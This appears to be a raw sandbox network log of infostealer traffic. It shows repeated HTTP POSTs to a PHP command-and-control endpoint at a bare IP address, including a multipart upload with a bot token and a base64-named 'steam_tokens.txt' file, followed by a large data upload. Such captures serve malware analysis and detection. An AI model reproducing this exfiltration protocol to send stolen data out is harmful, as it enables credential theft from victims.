Oct 3, 2024 23:17:21.694123030 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEBGCGHIDHCBFHIDGH Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:22.200233936 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:22.207854033 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:22.595102072 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:22.600960970 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:22.990825891 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:22.996768951 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:23.385432005 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:23.390752077 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:23.892232895 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:23.898029089 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:24.282856941 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:24.288203001 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJ Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:24.670147896 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:24.677189112 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:25.063889027 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:25.070382118 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDH Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:25.450969934 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:25.457329988 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHD Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:25.839143038 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:25.845653057 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJEHJDHJKECBFHDHDH Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:26.287623882 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:26.292844057 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJ Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:26.714315891 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:26.719492912 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJ Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:27.105535984 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:27.112715006 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIII Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:27.696281910 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:27.705303907 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEBGCGHIDHCBFHIDGH Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:28.088799953 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:28.096924067 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBG Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:28.479119062 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:28.487103939 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDH Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:28.982470036 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:28.989857912 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:29.380556107 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:29.387953043 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:29.893939972 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:29.899144888 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:30.283704042 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:30.289601088 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJ Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:30.691231966 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:30.703571081 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHC Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:31.201950073 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:31.208024025 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:31.592442989 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:31.597589970 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:31.975766897 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:31.983258009 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:32.362623930 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:32.371848106 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:32.755129099 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:32.762063980 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAK Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:33.154712915 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:33.161051035 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:33.561887980 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:33.569556952 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJ Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:33.948988914 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:33.956058979 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHD Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:34.365879059 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:34.373639107 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:34.758905888 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:34.767936945 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECB Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:35.150372028 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:35.157000065 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:35.542773962 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:35.578660011 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJ Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:35.963463068 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:35.978790045 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:36.357552052 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:36.364381075 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:36.740654945 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:36.745462894 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGI Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:37.127954960 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:37.135607004 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFI Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:37.522995949 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:37.530566931 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIE Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:37.911461115 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:37.915941954 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:38.300262928 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:38.331111908 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:38.845722914 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:38.874068975 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBFCBKFIDHIDHDHIE Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:39.260971069 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:39.267858028 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAEC Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:39.773734093 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:39.781060934 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECB Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:40.160624981 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:40.166502953 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:40.555896997 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:40.567575932 CEST	564	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJ Host: 193.233.112.44 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file"------BAEHIEBGHDAFIEBGIEHJ--
Oct 3, 2024 23:17:40.925908089 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:41.020397902 CEST	204	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAA Host: 193.233.112.44 Content-Length: 114387 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:41.822788000 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:41.862152100 CEST	473	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHID Host: 193.233.112.44 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="message"ybncbhylepme------AKFCBFHJDHJKECAKEHID--
Oct 3, 2024 23:17:42.220980883 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
